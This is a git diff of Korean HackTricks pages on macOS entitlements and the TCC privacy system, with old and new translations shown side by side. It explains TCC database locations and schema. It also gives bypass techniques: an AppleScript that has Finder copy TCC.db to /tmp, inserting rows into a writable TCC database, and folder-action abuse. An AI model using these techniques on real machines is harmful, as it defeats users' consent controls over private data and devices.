||||
|
||||
기본적으로 **허용되지 않는** 앱 번들(앱 내부의 app.app 내부) 내의 파일을 수정할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 권한을 가진 사용자는 _시스템 설정_ > _개인 정보 및 보안_ > _앱 관리_에서 확인할 수 있습니다.
|
||||
이 권한을 가진 사용자를 확인할 수 있습니다. _시스템 환경설정_ > _개인 정보 및 보안_ > _앱 관리_.
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
프로세스는 macOS 접근성 기능을 **남용**할 수 있습니다. 이는 예를 들어 키 입력을 누를 수 있다는 것을 의미합니다. 따라서 Finder와 같은 앱을 제어하고 이 권한으로 대화 상자를 승인할 수 있습니다.
|
||||
프로세스는 **macOS 접근성 기능을 남용**할 수 있게 되며, 이는 예를 들어 키 입력을 누를 수 있게 됨을 의미합니다. 따라서 Finder와 같은 앱을 제어하고 이 권한으로 대화 상자를 승인할 수 있습니다.
|
||||
|
||||
## 중간
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
이 권한은 `mmap()` 시스템 함수에 `MAP_JIT` 플래그를 전달하여 **쓰기 및 실행 가능한 메모리**를 생성할 수 있습니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
이 권한은 `mmap()` 시스템 함수에 `MAP_JIT` 플래그를 전달하여 **쓰기 및 실행 가능한 메모리를 생성**할 수 있게 합니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
이 권한은 C 코드를 **재정의하거나 패치**하거나, 기본적으로 보안에 취약한 **`NSCreateObjectFileImageFromMemory`**를 사용하거나, **DVDPlayback** 프레임워크를 사용할 수 있습니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
이 권한은 **C 코드를 무시하거나 수정**하거나, 기본적으로 보안에 취약한 **`NSCreateObjectFileImageFromMemory`**를 사용하거나 **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 권한을 포함하면 앱이 메모리 안전하지 않은 코드 언어의 일반적인 취약점에 노출됩니다. 앱이 이 예외를 필요로 하는지 신중히 고려하세요.
|
||||
이 권한을 포함하면 앱이 메모리 안전하지 않은 코드 언어의 일반적인 취약점에 노출됩니다. 앱이 이 예외를 필요로 하는지 신중히 고려하십시오.
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
이 권한은 **자체 실행 파일의 섹션을 수정**하여 강제로 종료할 수 있습니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
이 권한은 **디스크의 자체 실행 파일 섹션을 수정**할 수 있게 합니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Disable Executable Memory Protection 권한은 앱의 기본 보안 보호를 제거하는 극단적인 권한으로, 앱의 실행 가능한 코드를 감지하지 못하고 공격자가 앱의 실행 가능한 코드를 재작성할 수 있게 합니다. 가능하면 좁은 범위의 권한을 선호하세요.
|
||||
실행 파일 메모리 보호 비활성화 권한은 앱에서 기본적인 보안 보호를 제거하는 극단적인 권한이며, 앱의 실행 코드를 감지하지 않고 공격자가 앱의 실행 코드를 재작성할 수 있게 합니다. 가능하면 더 좁은 권한을 선호하십시오.
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
@ -163,31 +161,31 @@ TODO
|
|||
|
||||
### `com.apple.private.nullfs_allow`
|
||||
|
||||
이 권한은 기본적으로 금지된 nullfs 파일 시스템을 마운트할 수 있습니다. 도구: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
|
||||
이 권한은 기본적으로 금지된 nullfs 파일 시스템을 마운트할 수 있게 합니다. 도구: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
|
||||
|
||||
### `kTCCServiceAll`
|
||||
|
||||
이 블로그 게시물에 따르면, 이 TCC 권한은 일반적으로 다음과 같은 형식으로 발견됩니다.
|
||||
이 블로그 게시물에 따르면, 이 TCC 권한은 일반적으로 다음 형식으로 발견됩니다:
|
||||
```
|
||||
[Key] com.apple.private.tcc.allow-prompting
|
||||
[Value]
|
||||
[Array]
|
||||
[String] kTCCServiceAll
|
||||
```
|
||||
프로세스가 **모든 TCC 권한을 요청**할 수 있도록 허용합니다.
|
||||
프로세스가 **모든 TCC 권한을 요청하도록 허용**합니다.
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃헙 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
다른 HackTricks 지원 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
|
@ -16,15 +16,15 @@
|
|||
|
||||
## **기본 정보**
|
||||
|
||||
**TCC (Transparency, Consent, and Control)**는 애플리케이션 권한을 규제하는 보안 프로토콜입니다. 주요 역할은 **위치 서비스, 연락처, 사진, 마이크, 카메라, 접근성 및 전체 디스크 액세스**와 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 액세스를 승인하기 전에 명시적 사용자 동의를 요구함으로써 개인 정보 보호와 사용자 데이터에 대한 제어를 강화합니다.
|
||||
**TCC (투명성, 동의 및 제어)**는 응용 프로그램 권한을 규제하는 보안 프로토콜입니다. 주요 역할은 **위치 서비스, 연락처, 사진, 마이크로폰, 카메라, 접근성 및 전체 디스크 액세스**와 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 액세스를 부여하기 전에 명시적 사용자 동의를 요구함으로써 개인 정보 보호 및 사용자 데이터에 대한 제어를 강화합니다.
|
||||
|
||||
사용자는 애플리케이션이 보호된 기능에 액세스를 요청할 때 TCC를 만납니다. 이는 사용자가 **액세스를 승인하거나 거부**할 수 있는 프롬프트를 통해 확인할 수 있습니다. 또한 TCC는 **파일을 애플리케이션으로 끌어다 놓는** 등의 직접적인 사용자 조치를 수용하여 특정 파일에 대한 액세스를 허용함으로써, 애플리케이션이 명시적으로 허용된 것만 액세스할 수 있도록 합니다.
|
||||
사용자는 응용 프로그램이 보호된 기능에 액세스를 요청할 때 TCC를 만납니다. 이는 사용자가 **액세스를 승인하거나 거부**할 수 있는 프롬프트를 통해 확인할 수 있습니다. 또한 TCC는 **파일을 응용 프로그램으로 끌어다 놓는** 등의 직접적인 사용자 조치를 수용하여 특정 파일에 대한 액세스를 부여함으로써 응용 프로그램이 명시적으로 허용된 것만 액세스할 수 있도록 합니다.
|
||||
|
||||
![TCC 프롬프트 예시](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
**TCC**는 `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`에 위치한 **데몬**에 의해 처리되며, `/System/Library/LaunchDaemons/com.apple.tccd.system.plist`에서 구성됩니다 (`com.apple.tccd.system` mach 서비스를 등록함).
|
||||
**TCC**는 `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`에 위치한 **데몬**에 의해 처리되며 `/System/Library/LaunchDaemons/com.apple.tccd.system.plist`에서 구성됩니다 (`com.apple.tccd.system` 맥 서비스를 등록함).
|
||||
|
||||
로그인한 사용자 당 **사용자 모드 tccd**가 정의된 `/System/Library/LaunchAgents/com.apple.tccd.plist`에서 실행되며, `com.apple.tccd` 및 `com.apple.usernotifications.delegate.com.apple.tccd` mach 서비스를 등록합니다.
|
||||
로그인한 사용자 당 **사용자 모드 tccd**가 정의된 `/System/Library/LaunchAgents/com.apple.tccd.plist`에서 실행되며 `com.apple.tccd` 및 `com.apple.usernotifications.delegate.com.apple.tccd` 맥 서비스를 등록합니다.
|
||||
|
||||
여기서 시스템 및 사용자로 실행되는 tccd를 볼 수 있습니다:
|
||||
```bash
|
||||
|
@ -32,27 +32,27 @@ ps -ef | grep tcc
|
|||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
```
|
||||
Permissions are **부모 애플리케이션으로부터 상속**되며 **권한**은 **번들 ID** 및 **개발자 ID**에 기반하여 **추적**됩니다.
|
||||
허가는 **상위 애플리케이션에서 상속**되며 **Bundle ID** 및 **개발자 ID**에 따라 **추적**됩니다.
|
||||
|
||||
### TCC 데이터베이스
|
||||
|
||||
허용/거부 사항은 일부 TCC 데이터베이스에 저장됩니다:
|
||||
|
||||
* **`/Library/Application Support/com.apple.TCC/TCC.db`**에있는 시스템 전체 데이터베이스.
|
||||
* 이 데이터베이스는 **SIP로 보호**되어 있으므로 SIP 우회만이 쓸 수 있습니다.
|
||||
* 이 데이터베이스는 **SIP로 보호**되어 있어 SIP 우회만 쓸 수 있습니다.
|
||||
* 사용자 TCC 데이터베이스 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**는 사용자별 환경 설정을 위해 사용됩니다.
|
||||
* 이 데이터베이스는 Full Disk Access와 같은 높은 TCC 권한을 가진 프로세스만 쓸 수 있습니다 (하지만 SIP로 보호되지는 않음).
|
||||
|
||||
{% hint style="warning" %}
|
||||
이전 데이터베이스도 **읽기 액세스를 위해 TCC로 보호**됩니다. 따라서 TCC 권한이 있는 프로세스가 아니라면 일반 사용자 TCC 데이터베이스를 읽을 수 없습니다.
|
||||
이전 데이터베이스는 **읽기 액세스를 위해 TCC로 보호**됩니다. 따라서 TCC 권한이 있는 프로세스가 아니면 일반 사용자 TCC 데이터베이스를 읽을 수 없습니다.
|
||||
|
||||
그러나 **FDA** 또는 **`kTCCServiceEndpointSecurityClient`**와 같은 높은 권한을 가진 프로세스는 사용자 TCC 데이터베이스를 쓸 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
* **세 번째** TCC 데이터베이스는 **`/var/db/locationd/clients.plist`**에 위치하며 **위치 서비스에 액세스할 수 있는 클라이언트**를 나타냅니다.
|
||||
* SIP로 보호된 파일 **`/Users/carlospolop/Downloads/REG.db`** (또한 TCC로 읽기 액세스가 보호됨)에는 모든 **유효한 TCC 데이터베이스의 위치**가 포함되어 있습니다.
|
||||
* SIP로 보호된 파일 **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (또한 TCC로 읽기 액세스가 보호됨)에는 더 많은 TCC 허가된 권한이 포함되어 있습니다.
|
||||
* SIP로 보호된 파일 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (누구나 읽을 수 있음)은 TCC 예외를 필요로 하는 애플리케이션의 허용 목록입니다.
|
||||
* **`/var/db/locationd/clients.plist`**에 있는 **세 번째** TCC 데이터베이스는 **위치 서비스에 액세스할 수 있는 클라이언트를 나타냅니다**.
|
||||
* SIP로 보호된 **`/Users/carlospolop/Downloads/REG.db`** 파일 (TCC로 읽기 액세스도 보호됨)에는 모든 **유효한 TCC 데이터베이스의 위치**가 포함되어 있습니다.
|
||||
* SIP로 보호된 **`/Users/carlospolop/Downloads/MDMOverrides.plist`** 파일 (TCC로 읽기 액세스도 보호됨)에는 더 많은 TCC 허가 권한이 포함되어 있습니다.
|
||||
* 읽기 전용이지만 누구나 읽을 수 있는 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** 파일은 TCC 예외가 필요한 애플리케이션의 허용 목록입니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
**iOS**의 TCC 데이터베이스는 **`/private/var/mobile/Library/TCC/TCC.db`**에 있습니다.
|
||||
|
@ -123,11 +123,11 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
두 데이터베이스를 모두 확인하면 앱이 허용한 권한, 금지한 권한 또는 허용하지 않은 권한을 확인할 수 있습니다 (요청할 것입니다).
|
||||
두 데이터베이스를 모두 확인하면 앱이 허용한 권한, 금지한 권한 또는 허용을 요청하지 않은 권한을 확인할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
- **`service`**는 TCC **권한** 문자열 표현입니다.
|
||||
- **`client`**는 권한이 있는 번들 ID 또는 이진 파일의 경로입니다.
|
||||
- **`client`**는 권한을 가진 **번들 ID** 또는 **바이너리 경로**입니다.
|
||||
- **`client_type`**은 번들 식별자(0)인지 아니면 절대 경로(1)인지를 나타냅니다.
|
||||
|
||||
<details>
|
||||
|
@ -191,9 +191,9 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
* 테이블의 **다른 필드**에 대한 자세한 정보는 [**이 블로그 게시물**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)을 확인하세요.
|
||||
* 테이블의 **다른 필드**에 대한 자세한 정보는 [**이 블로그 포스트**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)를 확인하세요.
|
||||
|
||||
또한 `시스템 환경설정 --> 보안 및 개인 정보 보호 --> 개인 정보 --> 파일 및 폴더`에서 앱에 **이미 부여된 권한**을 확인할 수 있습니다.
|
||||
또한 `시스템 환경설정 --> 보안 및 개인 정보 --> 개인 정보 --> 파일 및 폴더`에서 앱에 대해 **이미 부여된 권한**을 확인할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
사용자는 **`tccutil`**을 사용하여 **룰을 삭제하거나 쿼리**할 수 있습니다.
|
||||
|
@ -232,9 +232,9 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
앱들은 **일부 리소스에 대한 액세스 권한을 요청**하고 부여받는 것뿐만 아니라 **관련 엔타이틀먼트**를 가져야 합니다.\
|
||||
예를 들어 **Telegram**은 카메라에 액세스하기 위해 `com.apple.security.device.camera` 엔타이틀먼트를 가지고 있습니다. 이 **엔타이틀먼트가 없는 앱은** 카메라에 액세스할 수 없으며 (사용자에게 권한을 요청하지도 않음).
|
||||
|
||||
그러나 `~/Desktop`, `~/Downloads` 및 `~/Documents`와 같은 **특정 사용자 폴더에 액세스**하려면 특정 **엔타이틀먼트가 필요하지 않습니다.** 시스템은 액세스를 투명하게 처리하고 필요할 때 **사용자에게 프롬프트를 표시**합니다.
|
||||
그러나 앱이 `~/Desktop`, `~/Downloads`, `~/Documents`와 같은 **특정 사용자 폴더에 액세스**하려면 특정 **엔타이틀먼트가 필요하지 않습니다.** 시스템은 액세스를 투명하게 처리하고 필요할 때 **사용자에게 프롬프트를 표시**합니다.
|
||||
|
||||
애플의 앱들은 **프롬프트를 생성하지 않습니다.** 그들은 **엔타이틀먼트 목록에 사전 부여된 권한**을 포함하고 있으며, 이는 **팝업을 생성하지 않을 뿐만 아니라** TCC 데이터베이스 중 어디에도 나타나지 않을 것입니다. 예를 들어:
|
||||
애플의 앱들은 **프롬프트를 생성하지 않습니다.** 그들은 **엔타이틀먼트 목록에 사전 부여된 권한**을 포함하고 있으며, 이는 **팝업을 생성하지 않을 뿐만 아니라** 어떤 **TCC 데이터베이스에도 나타나지 않을 것**을 의미합니다. 예를 들어:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -248,7 +248,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
이렇게 하면 캘린더가 사용자에게 알림, 캘린더 및 주소록에 액세스할 것을 요청하지 않습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
공식 문서 외에도 [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)에서 **권한에 관한 흥미로운 비공식 정보를 찾을 수 있습니다.**
|
||||
공식 문서 외에도 [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)에서 **권한에 관한 흥미로운 비공식 정보를 찾을 수 있습니다**.
|
||||
{% endhint %}
|
||||
|
||||
일부 TCC 권한은 다음과 같습니다: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 이들을 모두 정의하는 공개 목록은 없지만 [**알려진 목록**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)을 확인할 수 있습니다.
|
||||
|
@ -261,7 +261,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
|
||||
### 사용자 의도 / com.apple.macl
|
||||
|
||||
이전에 언급했듯이 **파일을 앱에 드래그앤드롭하여 해당 파일에 대한 액세스를 허용할 수 있습니다**. 이 액세스는 TCC 데이터베이스에 명시되지 않지만 **파일의 확장 속성**으로 저장됩니다. 이 속성은 허용된 앱의 **UUID를 저장**할 것입니다:
|
||||
이전에 언급한 대로 **파일을 앱에 드래그앤드롭하여 해당 앱에 대한 액세스를 허용할 수 있습니다**. 이 액세스는 TCC 데이터베이스에 명시되지 않지만 **파일의 확장 속성**으로 저장됩니다. 이 속성은 허용된 앱의 **UUID를 저장**합니다.
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -277,18 +277,18 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
|
|||
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**`com.apple.macl`** 속성이 **Sandbox**에 의해 관리되고 tccd가 아닌 것이 신기합니다.
|
||||
**`com.apple.macl`** 속성이 **Sandbox**에 의해 관리되고 있고 tccd가 아닌 것이 신기합니다.
|
||||
|
||||
또한 컴퓨터 내의 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하면, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 액세스 권한이 부여되지 않습니다.
|
||||
또한 컴퓨터에서 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하면, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 액세스 권한이 부여되지 않습니다.
|
||||
{% endhint %}
|
||||
|
||||
확장 속성 `com.apple.macl`은 다른 확장 속성과 달리 **SIP에 의해 보호**되어 있어 **지울 수 없습니다**. 그러나 [**이 게시물에서 설명된 것처럼**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고, **삭제**한 다음 **압축을 푸는** 방법으로 비활성화할 수 있습니다.
|
||||
확장 속성 `com.apple.macl`은 다른 확장 속성과 달리 **SIP에 의해 보호**되어 있어 **지울 수 없습니다**. 그러나 [**이 게시물에서 설명된 것처럼**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고, **삭제**한 다음 **압축을 해제**하여 비활성화할 수 있습니다.
|
||||
|
||||
## TCC 권한 상승 및 우회
|
||||
|
||||
### TCC에 삽입
|
||||
|
||||
어느 순간 TCC 데이터베이스에 쓰기 액세스 권한을 획들하면 다음과 같은 방법을 사용하여 항목을 추가할 수 있습니다 (주석 제거):
|
||||
언젠가 TCC 데이터베이스에 쓰기 액세스 권한을 획들하게 되면 다음과 같은 방법을 사용하여 항목을 추가할 수 있습니다 (주석을 제거하세요):
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -336,22 +336,22 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
|
||||
### TCC 페이로드
|
||||
|
||||
어떤 앱 내부에 TCC 권한을 얻었다면 다음 페이지를 확인하여 해당 권한을 악용하는 TCC 페이로드를 확인하세요:
|
||||
앱 내부에 일부 TCC 권한을 획들했다면 다음 페이지를 확인하여 해당 권한을 악용할 수 있는 TCC 페이로드를 확인하세요:
|
||||
|
||||
{% content-ref url="macos-tcc-payloads.md" %}
|
||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 자동화 (Finder) to FDA\*
|
||||
### 자동화 (Finder)에서 FDA\*로
|
||||
|
||||
자동화 권한의 TCC 이름은: **`kTCCServiceAppleEvents`**\
|
||||
이 특정 TCC 권한은 또한 TCC 데이터베이스 내에서 **관리할 수 있는 애플리케이션**을 나타냅니다 (따라서 권한은 모든 것을 관리할 수 있는 것이 아닙니다).
|
||||
|
||||
**Finder**는 **항상 FDA를 가지고** 있는 애플리케이션입니다 (UI에 나타나지 않더라도), 따라서 **자동화** 권한을 가지고 있다면 해당 권한을 악용하여 **일부 작업을 수행**할 수 있습니다.\
|
||||
**Finder**는 **항상 FDA를 가지고** 있습니다 (UI에 나타나지 않더라도), 따라서 **자동화** 권한을 가지고 있다면 해당 권한을 악용하여 **일부 작업을 수행**할 수 있습니다.\
|
||||
이 경우 앱은 **`com.apple.Finder`**에 대한 **`kTCCServiceAppleEvents`** 권한이 필요합니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="사용자 TCC.db 도용하기" %}
|
||||
{% tab title="사용자 TCC.db 도용" %}
|
||||
```applescript
|
||||
# This AppleScript will copy the system TCC database into /tmp
|
||||
osascript<<EOD
|
||||
|
@ -381,15 +381,17 @@ EOD
|
|||
이를 악용하여 **자체 사용자 TCC 데이터베이스를 작성**할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
이 권한으로 **파인더에 TCC 제한 폴더에 액세스하도록 요청**하고 파일을 제공할 수 있지만, afaik로 **파인더가 임의의 코드를 실행하도록 만들 수는 없을 것**입니다. 그래서, 완전히 FDA 액세스를 악용할 수 없을 것입니다.
|
||||
이 권한으로 **Finder에게 TCC 제한 폴더에 액세스할 것을 요청**하고 파일을 제공할 수 있지만, afaik로 **Finder가 임의의 코드를 실행하도록 만들 수는 없습니다** FDA 액세스를 완전히 악용할 수 없습니다.
|
||||
|
||||
따라서, 전체 FDA 능력을 악용할 수 없습니다.
|
||||
{% endhint %}
|
||||
|
||||
이것은 파인더에 대한 자동화 권한을 얻기 위한 TCC 프롬프트입니다:
|
||||
이것은 Finder에 대한 자동화 권한을 얻기 위한 TCC 프롬프트입니다:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Automator** 앱이 **`kTCCServiceAppleEvents`** TCC 권한을 가지고 있기 때문에 **파인더와 같은 모든 앱을 제어**할 수 있습니다. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드로 **Finder**를 제어할 수도 있습니다:
|
||||
**Automator** 앱이 **`kTCCServiceAppleEvents`** TCC 권한을 가지고 있기 때문에 **Finder**와 같은 앱을 **제어**할 수 있습니다. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드로 **Finder**를 제어할 수도 있습니다:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
@ -420,7 +422,7 @@ EOD
|
|||
|
||||
### 자동화 (SE)에서 일부 TCC로
|
||||
|
||||
**시스템 이벤트는 폴더 작업을 생성할 수 있으며, 폴더 작업은 일부 TCC 폴더에 액세스할 수 있습니다** (데스크톱, 문서 및 다운로드), 따라서 다음과 같은 스크립트를 사용하여 이 동작을 악용할 수 있습니다:
|
||||
**시스템 이벤트는 폴더 작업을 생성할 수 있으며, 폴더 작업은 일부 TCC 폴더에 액세스할 수 있습니다** (바탕 화면, 문서 및 다운로드), 따라서 다음과 같은 스크립트를 사용하여 이 동작을 악용할 수 있습니다:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -526,34 +528,34 @@ EOF
|
|||
|
||||
### 사용자 TCC DB를 FDA로
|
||||
|
||||
사용자 TCC 데이터베이스에 **쓰기 권한**을 얻으면 **`FDA`** 권한을 부여할 수 없습니다. 시스템 데이터베이스에 있는 권한만 부여할 수 있습니다.
|
||||
사용자 TCC 데이터베이스에 **쓰기 권한**을 얻으면 **`FDA`** 권한을 부여할 수 없으며, 시스템 데이터베이스에 있는 권한만 부여할 수 있습니다.
|
||||
|
||||
하지만 **`Finder에 대한 자동화 권한`**을 부여하고 이전 기술을 악용하여 FDA\*로 권한 상승할 수 있습니다.
|
||||
하지만 **`Finder에 대한 자동화 권한`**을 부여하고 이전 기술을 악용하여 FDA\*로 상승할 수 있습니다.
|
||||
|
||||
### **FDA에서 TCC 권한으로**
|
||||
|
||||
**전체 디스크 액세스**의 TCC 이름은 **`kTCCServiceSystemPolicyAllFiles`**입니다.
|
||||
|
||||
실제 권한 상승은 아닌 것 같지만 유용할 수 있습니다: FDA를 제어하는 프로그램이 있다면 사용자 TCC 데이터베이스를 수정하고 어떤 액세스든 부여할 수 있습니다. 이는 FDA 권한을 잃을 수도 있을 때 지속성 기술로 유용할 수 있습니다.
|
||||
이것이 실제 권한 상승인지는 모르겠지만 유용할 수 있습니다: FDA를 제어하는 프로그램이 있다면 사용자 TCC 데이터베이스를 수정하고 어떤 액세스든 부여할 수 있습니다. 이것은 FDA 권한을 잃을 수도 있는 경우에 지속성 기술로 유용할 수 있습니다.
|
||||
|
||||
### **SIP 우회에서 TCC 우회로**
|
||||
|
||||
시스템 TCC 데이터베이스는 **SIP**에 의해 보호되므로 **지정된 엔타이틀먼트를 가진 프로세스만 수정**할 수 있습니다. 따라서, 공격자가 SIP 우회를 찾으면 파일을 수정할 수 있게 되며 다음을 할 수 있습니다:
|
||||
